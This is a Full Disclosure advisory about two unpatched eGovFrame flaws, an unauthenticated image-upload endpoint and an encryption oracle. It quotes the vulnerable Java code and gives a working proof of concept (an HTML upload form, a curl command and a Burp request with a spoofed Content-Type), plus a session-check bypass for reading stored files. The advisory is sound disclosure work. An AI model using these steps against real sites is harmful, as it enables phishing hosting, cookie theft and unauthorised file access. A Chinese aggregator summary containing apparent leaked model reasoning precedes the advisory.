2 vulnerabilities in Egovframe
嗯,用户发来了一篇关于eGovFrame漏洞的文章,要求我帮忙总结内容,控制在100字以内,并且不需要特定的开头。首先,我需要仔细阅读这篇文章,理解其中的主要内容。 文章提到发现了两个漏洞:一个是未认证的文件上传漏洞,另一个是预认证的加密oracle漏洞。这两个漏洞影响了所有现有的eGovFrame版本。攻击者可以上传任意文件并控制内容类型,甚至利用加密oracle来构造有效的加密变量,从而滥用内部服务。 接下来,我需要将这些信息浓缩到100字以内。要确保涵盖主要漏洞、影响范围以及攻击者的能力。同时,语言要简洁明了,避免使用复杂的术语。 最后,检查总结是否符合用户的要求:没有使用特定的开头,直接描述文章内容,并且控制在100字以内。 </think> 文章披露了eGovFrame框架中的两个未修复漏洞:未认证文件上传和预认证加密Oracle。攻击者可上传任意文件并控制内容类型,甚至利用加密Oracle构造有效加密变量以滥用内部服务。 2025-12-2 05:29:3 Author: seclists.org(查看原文) 阅读量:5 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Pierre Kim <pierre.kim.sec () gmail com>
Date: Thu, 20 Nov 2025 07:02:15 -0500

Hello,

Please find a text-only version below sent to security mailing lists.

The complete version on "2 vulnerabilities in Egovframe" is posted here:

https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html

The text version is also posted here:
  https://pierrekim.github.io/advisories/2025-egovframe.txt


=== text-version of the advisory  ===

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: 2 vulnerabilities in Egovframe
Advisory URL: https://pierrekim.github.io/advisories/2025-egovframe.txt
Blog URL: https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html
Date published: 2025-11-20
Vendors contacted: KISA/KrCERT
Release mode: Released
CVE: CVE-2025-34336, CVE-2025-34337



## Product description

eGovFrame, the e-Government Standard Framework, is a platform-specific standardized development framework for public 
sector IT projects in Korea.
It is developed by the government of the Republic of Korea and can be used by every person all over the world.

From https://www.egovframe.go.kr/eng/sub.do?menuNo=2

Egovframe is a Java-based framework mainly used in the websites of the
Government of South Korea (Korea).



## Vulnerabilities Summary

Vulnerable versions: currently existing all versions.

The summary of the vulnerabilities is:

1. CVE-2025-34336 - Unauthenticated file upload vulnerability
2. CVE-2025-34337 - Pre-authenticated Cryptographic Oracle


_Miscellaneous notes_:

These vulnerabilities were discovered in March 2023 after a brief
security assessment (2-3 hours) on egovframe and were reported to
KrCERT in April 2023 through POC Security, a Korean cybersecurity
company acting as a trusted third party.

Due to previous bad experiences when reporting vulnerabilities
directly to KrCERT, I preferred using a reputable Korean cybersecurity
company - POC Security - who could act as a third party. The initial
advisories were given to POC Security at the Zer0con conference in
April 2023.

In August 2023, KISA confirmed that the vulnerabilities were
exploitable. In October 2023, KISA confirmed that the vulnerabilities
had been patched. In September 2025, I confirmed that the following
vulnerabilities had not been properly patched.

These vulnerabilities allow an unauthenticated remote attacker to
upload any file to websites based on "egovframework", a solution
widely used on Korean government websites.

Furthermore, this program does not appear to be tracked by CVE
identifiers. Instead, KVE identifiers are used:

KVE stands for Korea Vulnerabilities and Exposures, which is a system used in South Korea for cataloging and tracking 
security vulnerabilities. Contrary to CVEs and CNNVDs, it is unclear if KVE entries  are public.

Analyzing the source code and searching for "KISA" (the agency
managing KrCERT), I could find approximately 260 mentions of
vulnerabilities fixed by KISA. It appears that these vulnerabilities
were not publicly tracked outside of the source code (I found only
three KVE-2025-XXXX entries in a PDF file announcing a new release).

We can list the vulnerabilities detected and fixed by KISA by
searching for comments containing "KISA" and "YYYY-MM-DD".
Unfortunately, the reported vulnerabilities are not found there.

    kali% for i in $(seq 2010 2025);do echo -n "$i - "; rgrep "$i"
|grep -c KISA | grep -v ' - 0$';done
    2012 - 6
    2018 - 161
    2019 - 65
    2020 - 18
    2022 - 1
    2024 - 1
    2025 - 2
    kali%

For example: 
https://github.com/eGovFramework/egovframe-common-components/blob/main/src/main/java/egovframework/com/utl/sys/pxy/web/EgovProxySvcController.java#L176.

We also note that all version changelogs indicate that some
vulnerabilities have been fixed without any information:
https://github.com/eGovFramework/egovframe-common-components/releases.

Since vulnerability tracking is quite difficult, using this solution
seems like a questionable choice from a risk management point of view.

On a positive note, these results mean there is plenty of room for improvement.

_Impacts_

An unauthenticated remote attacker can upload any file to any website
based on the egovframework. Since the content type was controlled by
the attacker (up to version 4.1.2), it was possible to host any type
of content on the remote website, such as a phishing webpage or a
webpage with JavaScript to steal cookies. Since version 4.1.2, it is
possible to download any image uploaded with the correct content type.
Any file uploaded other than an image will be served with the
`application/octet-stream` content type (the content type is no longer
controlled by the attacker).

The malicious file will then be available on the targeted website via
a specific API accessible without authentication.

It is possible to exploit a cryptographic Oracle to create valid and
custom encrypted variables. These malicious encrypted strings will be
then fully trusted and can be used to abuse internal services.

_Recommendations_

Do not expose Egovframe-based websites on the Internet.



## Unpatched vulnerabilities

Vulncheck assigned the following CVEs in November 2025:

- - CVE-2025-34336 - eGovFramework <= 4.3.1 Unauthenticated File
Upload via Web Editor Image Upload Endpoints
- - CVE-2025-34337 - eGovFramework <= 4.3.1 Unauthenticated Encryption
Oracle via Web Editor Image Upload Endpoints

These KVEs have been assigned by KISA/KrCERT:

- - KVE-2023-5280 Unauthenticated File upload in egovframework
- - KVE-2023-5281 encryption Oracle to craft custom valid encrypted variables



## Identification of the solution

For this advisory, the latest version as of the date of this security
advisory was obtained via the official git repository at
https://github.com/eGovFramework/egovframe-common-components.

The latest commit is:

    commit 7030600a8d959fbdb09787cd346be9ccf2c2dc1c (HEAD -> main,
origin/main, origin/HEAD)
    Merge: e10475cc b354bbb7
    Author: eGovFrameSupport <egovframesupport () gmail com>
    Date:   Wed Sep 24 14:49:27 2025 +0900

There were some changes in the source codes since March 2023,
including a incorrect attempt to fix one of the vulnerabilities after
I reported it - it is unclear if this was a bug collision (someone
else was credited for this vulnerability in the source codes).



## Details - Unauthenticated file upload vulnerability

An attacker can upload any file without authentication on a website
developed with the egov framework.

The vulnerable component `egovframe-common-components` is used by the
egovframe framework.

The `/utl/wed/insertImage.do` and `/utl/wed/insertImageCk.do` POST
APIs defined in the
`egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java`
file do not implement authentication as shown below:

[code:java]
 60         private final String extWhiteList =
EgovProperties.getProperty("Globals.fileDownload.Extensions");
[...]
 76         /**
 77          * ??? Upload? ????.
 78          *
 79          * @param model
 80          * @return
 81          * @throws Exception
 82          */
 83         @RequestMapping(value="/utl/wed/insertImage.do",
method=RequestMethod.GET)
 84         public String goInsertImage(Model model) throws Exception {
 85
 86                 return "egovframework/com/utl/wed/EgovInsertImage";
 87         }
 88
 89
 90         /**
 91          * ??? Upload? ????.
 92          *
 93          * @param request
 94          * @param model
 95          * @return
 96          * @throws Exception
 97          */
 98         @RequestMapping(value="/utl/wed/insertImage.do",
method=RequestMethod.POST)
 99         public String imageUpload(MultipartHttpServletRequest
request, Model model) throws Exception {
100
101                 uploadImageFiles(request, model);
102                 return "egovframework/com/utl/wed/EgovInsertImage";
103         }
104
105         /**
106          * ??? Upload(CK???)? ????.
107          *
108          * @param ckEditorFuncNum
109          * @param mRequest
110          * @param response
111          * @param model
112          * @return
113          * @throws Exception
114          */
115         @RequestMapping(value="/utl/wed/insertImageCk.do",
method=RequestMethod.POST)
116         public String
imageUploadCk(@RequestParam(value="CKEditorFuncNum", required=false)
String ckEditorFuncNum, MultipartHttpServletRequest mRequest,
HttpServletResponse response, Model model) throws Exception {
117                 // Spring multipartResolver ?commons-fileupload?
118                 //List<EgovFormBasedFileVo> list =
EgovFormBasedFileUtil.uploadFiles(request, uploadDir, maxFileSize);
119                 model.addAttribute("ckEditorFuncNum", ckEditorFuncNum);
120                 uploadImageFiles(mRequest, model);
121                 return "egovframework/com/utl/wed/EgovUploadImageComplete";
122         }
[/code]

These APIs will ultimately call the method `uploadImageFiles()`
defined on line 129:

[code:java]
124         /**
125          * @param mRequest
126          * @param model
127          * @throws Exception
128          */
129         private void uploadImageFiles(MultipartHttpServletRequest
mRequest, Model model) throws Exception {
130
131                 try {
132                         List<EgovFormBasedFileVo> list =
EgovFileUploadUtil.uploadFilesExt(mRequest, uploadDir, maxFileSize,
extWhiteList);
133                         if (list.size() > 0) {
134                                 EgovFormBasedFileVo vo =
list.get(0);   // ??? ???
135
136                                 String url = mRequest.getContextPath()
137                                                 + "/utl/web/imageSrc.do?"
138                                                 + "path=" +
this.encrypt(vo.getServerSubPath())
139                                                 + "&physical=" +
this.encrypt(vo.getPhysicalName())
140                                                 + "&contentType="
+ this.encrypt(vo.getContentType());
141
142                                 model.addAttribute("url", url);
143
model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
144                         }
145                 } catch (SecurityException e) {
146                         model.addAttribute("url", "");
147
model.addAttribute("msg",egovMessageSource.getMessage("errors.file.extension"));
148                 } catch (Exception e) {
149                         LOGGER.error(e.getMessage());
150                         model.addAttribute("url", "");
151
model.addAttribute("msg",egovMessageSource.getMessage("errors.file.transfer"));
152                 }
153         }
[/code]

The `uploadFilesExt()` method is implemented in
`egovframe-common-components/src/main/java/egovframework/com/utl/fcc/service/EgovFileUploadUtil.java`:

[code:java]
113         public static List<EgovFormBasedFileVo>
uploadFilesExt(MultipartHttpServletRequest mptRequest, String where,
long maxFileSize, String extensionWhiteList) throws Exception {
114                 List<EgovFormBasedFileVo> list = new
ArrayList<EgovFormBasedFileVo>();
[...]
115
116                 if (mptRequest != null) {
117                         Iterator<?> fileIter = mptRequest.getFileNames();
118
119                         while (fileIter.hasNext()) {
120                                 MultipartFile mFile =
mptRequest.getFile((String)fileIter.next());
[...]
127                                 EgovFormBasedFileVo vo = new
EgovFormBasedFileVo();
128
129                                 String tmp = mFile.getOriginalFilename();
[...] // verification of the extension:
138                                         if (tmp.lastIndexOf(".") > 0) {
139                                                 ext =
getFileExtension(tmp).toLowerCase();
140                                         } else {
141                                                 throw new
SecurityException("Unacceptable file extension."); // ??
142                                         }
143                                         if
(extensionWhiteList.indexOf(ext) < 0) {
144                                                 throw new
SecurityException("Unacceptable file extension."); // ??
145                                         }
[...] // file is stored inside the filesystem:
147                                         vo.setFileName(tmp);
148
vo.setContentType(mFile.getContentType());
149
vo.setServerSubPath(getTodayString());
150
vo.setPhysicalName(getPhysicalFileName() + "." + ext);
151                                         vo.setSize(mFile.getSize());
152
153                                         if (tmp.lastIndexOf(".") >= 0) {
154
vo.setPhysicalName(vo.getPhysicalName()); // 2012.11 KISA ????
155                                         }
156
157                                         if (mFile.getSize() > 0) {
158                                                 InputStream is = null;
159
160                                                 try {
161                                                         is =
mFile.getInputStream();
162                                                         String
fullPath = where + SEPERATOR + vo.getServerSubPath() + SEPERATOR +
vo.getPhysicalName() + "_upfile";
163
saveFile(is, new File(EgovWebUtil.filePathBlackList( fullPath )));
164                                                 } finally {
165                                                         if (is != null) {
166                                                                 is.close();
167                                                         }
168                                                 }
169                                                 list.add(vo);
170                                         }
171                                 }
172                         }
173                 }
174
175                 return list;
176         }
[/code]

And the `saveFile()` method on line 163 will simply save the file on
disk using `FileCopyUtils.copy()`.

Ultimately, the `uploadImageFiles()` method will store any uploaded
file in the filesystem with a semi-controlled filename (composed with
a UUID and a specific extension) but actually, the following values
will be controlled by an attacker:

- - the content;
- - the "public" filename, different from the filename used inside the
file system;
- - the Content-Type that will be displayed to the remote client when
the file is retrieved.

We do not care about the real filename in the filesystem as we will
use the `/utl/web/imageSrc.do` to retrieve the uploaded content.

Additionally, only specific extensions are allowed in the
configuration files. These restrictions are defined
inhttps://github.com/eGovFramework/egovframe-common-components/blob/main/src/main/resources/egovframework/egovProps/globals.properties#L168.

In any case, since the attacker is able to control the resulting
Content-type, any file can be uploaded/downloaded (e.g. a file with
the `.jpg` extension containing HTML code that will be returned as a
HTML file when it is retrieved from the Internet).

Content of `egovframe-common-components/src/main/resources/egovframework/egovProps/globals.properties`:

    171 Globals.fileDownload.Extensions = .gif.jpg.jpeg.png

After the upload is done, an url will be displayed, allowing to
retrieve the uploaded file. This URL is in the form of
`/utl/web/imageSrc.do?path=X&physical=X&contentType=X` (lines 136 to
142):

Content of `egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java`
to illustrate how this URL is generated:

[code:java]
136                                 String url = mRequest.getContextPath()
137                                                 + "/utl/web/imageSrc.do?"
138                                                 + "path=" +
this.encrypt(vo.getServerSubPath())
139                                                 + "&physical=" +
this.encrypt(vo.getPhysicalName())
140                                                 + "&contentType="
+ this.encrypt(vo.getContentType());
141
142                                 model.addAttribute("url", url);
143
model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
[/code]

The file will not be directly accessible because the variables have
been encrypted, probably following a security assessment carried out
by KISA in 2017 and 2018.

By encrypting the variables, as long as the secret key is not known to
the attackers (and is correctly set), it is impossible to exploit the
following arbitrary file reading (lines 165 to 168) in the
`/utl/web/imageSrc.do` API:

Content of `egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java`:

[code:java]
162         @RequestMapping(value="/utl/web/imageSrc.do",method=RequestMethod.GET)
163         public void download(HttpServletRequest request,
HttpServletResponse response) throws Exception {
164                 //2017.12.12 - ?? ?? ?? ?? ??? ??
165                 //KISA ???? ?? (2018-10-29, ???)
166                 String subPath =
this.decrypt(EgovStringUtil.isNullToString(request.getParameter("path")));
167                 String physical =
this.decrypt(EgovStringUtil.isNullToString(request.getParameter("physical")));
168                 String mimeType =
this.decrypt(EgovStringUtil.isNullToString(request.getParameter("contentType")));
169
170                 if (subPath.indexOf("..") >= 0 ) throw new
Exception("Security Exception - illegal url called.");
171                 if (physical.indexOf("..") >= 0 ) throw new
Exception("Security Exception - illegal url called.");
172
173                 String ext = "";
174                 if ( physical.lastIndexOf(".") > 0 )
175                         ext =
physical.substring(physical.lastIndexOf(".") +
1,physical.length()).toLowerCase();
176                 if ( ext == null ) throw new FileNotFoundException();
177
178                 if ( extWhiteList.indexOf(ext) >= 0 )
179                         EgovFormBasedFileUtil.viewFile(response,
uploadDir, subPath, physical, mimeType);
180                 else
181                         throw new FileNotFoundException();
182         }
[/code]

The `/utl/web/imageSrc.do` API allows to retrieve the uploaded file
with the 3 encrypted values below, returned at the end of the upload
process:

- - path;
- - physical;
- - contentType.

By visiting the displayed URL containing the 3 encrypted values, we
can retrieve the uploaded document.

Regarding the reflected `Content-Type`, it is worth noting that a
protection was added to the `viewFile()` method in June 2023.

It is unclear whether this was an attempt to fix the upload
vulnerability (fixing the consequences instead of the root cause is
usually ineffective - you can still upload whatever you want). A
whitelist was implemented to allow only specific MIME types. Thus,
anything other than `image/gif`, `image/jpg`, `image/jpeg`, and
`image/png` will appear as an `application/octet-stream`:

The changelog is:

    * 2023.06.27 Kim Hye-jun NSR Security Measures (Script Execution
Vulnerability in CKEditor Image Viewing Function)

My initial analysis was actually performed in March 2023, before this
commit and I believe this is an attempt to incorrectly patch the
vulnerability (since the initial analysis was given to POC Security
and shared with KISA in April 2023).
At that time, the following mimeType verification was not implemented:
https://github.com/eGovFramework/egovframe-common-components/blame/e7b8d0df75664ce71781720801fa1ae2d7302a58/src/main/java/egovframework/com/utl/fcc/service/EgovFormBasedFileUtil.java#L277:

[code:java]
218         public static void viewFile(HttpServletResponse response,
String where, String serverSubPath, String physicalName,
219                         String mimeTypeParam) throws Exception {
220                 String mimeType = mimeTypeParam;
221                 String downFileName = where + SEPERATOR +
serverSubPath + SEPERATOR + physicalName + "_upfile";
[...]
239                 boolean contentTypeFlag = false;
240                 if (mimeType != null) {
241                         Map<String, String> contentTypeWL =
getContentTypeWL();
242                         if (contentTypeWL != null) {
243                                 for (String ext : contentTypeWL.keySet()) {
244                                         String matchMimeType =
contentTypeWL.get(ext);
245                                         if
(matchMimeType.equals(mimeType)) {

// if the provided mimeType was found in the hash table (line 262),
contentTypeFlag is set to true

246
response.setContentType(matchMimeType);
247                                                 contentTypeFlag = true;
248                                                 break;
249                                         }
250                                 }
251                         }
252                 }

// application/octet-stream is used if the contentTypeFlag is still false

253                 if (!contentTypeFlag) {
254
response.setContentType("application/octet-stream;");
255                 }
256
257                 response.setHeader("Content-Disposition",
"filename=image;");
258
259                 FileCopyUtils.copy(new FileInputStream(file),
response.getOutputStream());
260         }
261
262         public static Map<String, String> getContentTypeWL() {
263                 Map<String, String> contentTypeWL = new HashMap<>();
264
265                 contentTypeWL.put("gif", "image/gif");
266                 contentTypeWL.put("jpg", "image/jpg");
267                 contentTypeWL.put("jpeg", "image/jpeg");
268                 contentTypeWL.put("png", "image/png");
269
270                 return contentTypeWL;
271         }
272 }
[/code]

However, this modification does not fix the root cause (file upload)
and it is still possible to upload any file and download them (with a
resulting `application/octet-stream` as the Content-Type).

PoC:

Exploit is attached. Just change 192.168.0.1 to the targeted URL,
visit this webpage and upload any file:

[code:html]
<html>
<head>
</head>
<body>
<form action="http://192.168.0.1/utl/wed/insertImageCk.do";
method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
[/code]

The API will return the resulting path of the file reachable using
`/utl/web/imageSrc.do` directly in the browser.

Curl can also be used but a proxy, e.g. Burp Suite, is required to
edit the `Content-Type` on the fly (`Content-Type` will be set to
`text/plain` if a `.txt` file is uploaded, `image/jpeg` for a `.jpg`
file, `text/html` if a `.html` file is uploaded).

    kali% curl -kv -F "[email protected]; filename=1.txt"
http://192.168.0.1/utl/wed/insertImageCk.do

BURP request:

    POST /utl/wed/insertImageCk.do HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data;
boundary=---------------------------26979662282534656852357513795
    Content-Length: 345
    Connection: close
    Upgrade-Insecure-Requests: 1


    -----------------------------26979662282534656852357513795
    Content-Disposition: form-data; name="file"; filename="1.png" <-
The filename that must contain an allowed extension
    Content-Type: text/html <---------------------------------------
Content-Type that will be used

    11111111111 <---------------------------------------------------
Content of the file, actually unrelated to the previous extension
    -----------------------------26979662282534656852357513795
    Content-Disposition: form-data; name="submit"



    Submit
    -----------------------------26979662282534656852357513795--

An attacker can upload any document and control the Content-Type that
will be used when retrieving the file using the API
`/utl/web/imageSrc.do`.



## Details - Pre-authenticated Cryptographic Oracle

The previous upload form can be used as a cryptographic oracle. This
form will happily return encrypted values for plain-text values
defined by the attacker.

These encrypted variables will then be completely trusted by the application.

At line 139 and 140, it is possible to use this encryption oracle to
receive the encrypted string of any filename and content-type
controlled by an attacker, by sending a custom Content-type or a
custom filename in the upload form using the `/utl/wed/insertImage.do`
and `/utl/wed/insertImageCk.do` APIs (calling the `uploadImageFiles()`
method):

Content of `egovframe-common-components/src/main/java/egovframework/com/utl/wed/web/EgovWebEditorImageController.java`:

[code:java]
137                                                 + "/utl/web/imageSrc.do?"
138                                                 + "path=" +
this.encrypt(vo.getServerSubPath())
139                                                 + "&physical=" +
this.encrypt(vo.getPhysicalName())
140                                                 + "&contentType="
+ this.encrypt(vo.getContentType());
141
142                                 model.addAttribute("url", url);
143
model.addAttribute("msg",egovMessageSource.getMessage("success.file.transfer"));
[/code]

An attacker can send malicious Content-type or filename variables:
these strings will be encrypted using the method `encrypt()` with a
secret key defined server-side.

The resulting URL displayed on the webpage will contain the encoded
`contentType` and `Filename` after submitting the upload form.

Then, an attacker can use the encrypted-malicious strings to abuse
internal services.

For example, the `/utl/web/imageSrc.do` API relies on encrypted data
to read files in the filesystem: an attacker can use encrypted
malicious strings (e.g. `subPath`, `physical` and `mimeType`
variables) with the `/utl/web/imageSrc.do` API, these variables will
be decrypted, corresponding to specific attacker-controlled strings
(lines 166 to 188):

[code:java]
162         @RequestMapping(value="/utl/web/imageSrc.do",method=RequestMethod.GET)
163         public void download(HttpServletRequest request,
HttpServletResponse response) throws Exception {
164                 //2017.12.12 - ??
165                 //KISA ?? (2018-10-29, ???
166                 String subPath =
this.decrypt(EgovStringUtil.isNullToString(request.getParameter("path")));
<---------------------- controlled by an attacker
167                 String physical =
this.decrypt(EgovStringUtil.isNullToString(request.getParameter("physical")));
<----------------- controlled by an attacker
168                 String mimeType =
this.decrypt(EgovStringUtil.isNullToString(request.getParameter("contentType")));
<-------------- controlled by an attacker
169
170                 if (subPath.indexOf("..") >= 0 ) throw new
Exception("Security Exception - illegal url called.");
171                 if (physical.indexOf("..") >= 0 ) throw new
Exception("Security Exception - illegal url called.");
172
173                 String ext = "";
174                 if ( physical.lastIndexOf(".") > 0 )
175                         ext =
physical.substring(physical.lastIndexOf(".") +
1,physical.length()).toLowerCase();
176                 if ( ext == null ) throw new FileNotFoundException();
177
178                 if ( extWhiteList.indexOf(ext) >= 0 )
179                         EgovFormBasedFileUtil.viewFile(response,
uploadDir, subPath, physical, mimeType);
180                 else
181                         throw new FileNotFoundException();
182         }
[/code]

Another example is the `/cmm/fms/getImage.do` API defined in
`egovframe-common-components/src/main/java/egovframework/com/cmm/web/EgovImageProcessController.java`
that will return any stored file depending on an encrypted variable
provided by an attacker.

The `atchFileId` parameter obtained in the `GET` request is decrypted
on line 83 and then:

- - `decodedSessionId` is obtained before the `|` character;
- - `decodedFileId` is obtained after the `|` character.

A verification is done on line 94, to check if the decrypted
`decodedSessionId` is identical to the current `SessionId` found in
the HTTP header. This `SessionId` is actually available in the HTTP
requests (JSESSIONID=`value`) so this verification can be bypassed by
encrypting this value on the upload form and recover it.

An attacker can also omit the `JSESSIONID` cookie in the HTTP request
and pass an empty string for the decoded value of `decodedSessionId`.

And then an attacker can recover any file based on the `decodedFileId`
value (e.g. FILE_000000000000001) without authentication.

[code:java]
 75         @RequestMapping("/cmm/fms/getImage.do")
 76         public void getImageInf(SessionVO sessionVO, ModelMap
model, @RequestParam Map<String, Object> commandMap,
 77                         HttpServletRequest request,
HttpServletResponse response) throws Exception {
 78
 79                 // ?? FileId (2022.12.06 )
 80                 // ???
 81                 String param_atchFileId = (String)
commandMap.get("atchFileId");
 82                 param_atchFileId = param_atchFileId.replaceAll(" ", "+");
 83                 byte[] decodedBytes =
Base64.getDecoder().decode(param_atchFileId);
 84                 String decodedString = cryptoService.decrypt(new
String(decodedBytes));
 85                 String decodedSessionId =
StringUtils.substringBefore(decodedString, "|");
 86                 String decodedFileId =
StringUtils.substringAfter(decodedString, "|");
 87
 88                 String fileSn = (String) commandMap.get("fileSn");
 89
 90                 String sessionId = request.getSession().getId();
 91
 92                 boolean isSameSessionId =
StringUtils.equals(decodedSessionId, sessionId);
 93
 94                 if (!isSameSessionId) {
 95                         throw new Exception();
 96                 }
 97
 98                 FileVO vo = new FileVO();
 99
100                 vo.setAtchFileId(decodedFileId);
101                 vo.setFileSn(fileSn);
102
103                 //
------------------------------------------------------------
104                 // fileSn???
105                 //
------------------------------------------------------------
106                 if (fileSn == null || fileSn.equals("")) {
107                         int newMaxFileSN = fileService.getMaxFileSN(vo);
108                         vo.setFileSn(Integer.toString(newMaxFileSN - 1));
109                 }
110                 //
------------------------------------------------------------
111
112                 FileVO fvo = fileService.selectFileInf(vo);
113
114                 // String fileLoaction = fvo.getFileStreCours() +
fvo.getStreFileNm();
115
116                 String fileStreCours =
EgovWebUtil.filePathBlackList(fvo.getFileStreCours());
117                 String streFileNm =
EgovWebUtil.filePathBlackList(fvo.getStreFileNm());
118                 File file = new File(fileStreCours, streFileNm);
119
120                 ByteArrayOutputStream bStream = null;
121
122                 try (FileInputStream fis = new
FileInputStream(file); BufferedInputStream in = new
BufferedInputStream(fis);) {
123                         bStream = new ByteArrayOutputStream();
124
125                         FileCopyUtils.copy(in, bStream);
126
127                         String type = "";
128
129                         if (fvo.getFileExtsn() != null &&
!"".equals(fvo.getFileExtsn())) {
130                                 if
("jpg".equals(fvo.getFileExtsn().toLowerCase())) {
131                                         type = "image/jpeg";
132                                 } else {
133                                         type = "image/" +
fvo.getFileExtsn().toLowerCase();
134                                 }
135                                 /* type = "image/" +
fvo.getFileExtsn().toLowerCase(); */
136
137                         } else {
138                                 LOGGER.debug("Image fileType is null.");
139                         }
140
141                         response.setHeader("Content-Type",
EgovWebUtil.removeCRLF(type));
142                         response.setContentLength(bStream.size());
143
144                         bStream.writeTo(response.getOutputStream());
145
146                         response.getOutputStream().flush();
147                         response.getOutputStream().close();
148
149                 } finally {
150                         EgovResourceCloseHelper.close(bStream);
151                 }
152         }
[/code]



## Report Timeline
* Mar 2023: Security assessment performed on egovframe.
* Apr 2023: Advisories shared with POC Security at the Zer0con conference.
* Aug 2023: KISA confirmed the exploitability of the vulnerabilties.
* Oct 2023: KrCERT confirmed to POC Security that vulnerabilities have
been patched.
* Sep 2025: I contacted POC Security to report that, in my opinion,
the vulnerabilities had not been properly patched and to ask them to
check previous emails with KrCERT.
* Sep 2025: POC Security confirmed that KrCERT had indicated, during
previous exchanges, that all vulnerabilities had been patched.
* Nov 19, 2025: Vulncheck assigned CVEs.
* Nov 20, 2025: A security advisory is published.



## Credits

These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).



## References
https://pierrekim.github.io/blog/2025-11-20-egovframe-2-vulnerabilities.html
https://pierrekim.github.io/advisories/2025-egovframe.txt



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAmke3joACgkQxD4O2n2T
Lby8og//ftr/S/vGqqLc0wzpPIhSiW/T0HnnV4JhzZQN6t1+XckVZxJu2rIZn4fi
e89WiB0shMvubjl3zuqDtqWz2FIg4bxQseEd+HOxTTxqmGE8SyB/WKuuogyd1lzd
f4dce/FNrCrrwHz+69S6NS2unhGmziRiFrhjHviXzF3mMRT+S0OlT+UgIxur3ZKI
PFbA+795CDdA7HpNGxQ/pONw9gVewGhYjV8GocbEWcgfVcJYt7Rau95jmSHRvsiT
5Jy5XD+6TZMURvCczGDY4CU/qDjGW6/G6ratPUfvAFl295eC/RxE4JxgSNM7IlT8
v4ACTeRLduOq6b80Rz3lho1eESaXsaYnpX2nOJ8k9y0dILLfRdXq/xQZW3vNUhCQ
O1za1idQanUUQ5H11x/nAU21ygY+D2Y84P4brGizkNHs0c005zOVYjKkd5SLjCKF
vyNLZifyvwoJvv9Z7VefJvFl3tI+nPkUG21UbVRNj1Qpn/RTUHGqCiweNMT2+118
lF0Xb8kvgXo/bS08f/cb9EZTlXpFvmMy7vlDoi8SbgZ4m4C0jhr3HDQcVZUP4CRL
rEGljnHmFcDwpqpy6bRZTolwgO/HG6PL0yF6f5/V9s+liTS9v4EhRzjs1nTwd3W9
U7bdBly2Fk+bvHZtlOilvMxPRHdMjkjdhR3mA/yrNxdmIIZucfA=
=pGpG
-----END PGP SIGNATURE-----

-- 
Pierre Kim
pierre.kim.sec () gmail com
@PierreKimSec
https://pierrekim.github.io/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread:

  • 2 vulnerabilities in Egovframe Pierre Kim (Dec 01)

文章来源: https://seclists.org/fulldisclosure/2025/Dec/2
如有侵权请联系:admin#unsafe.sh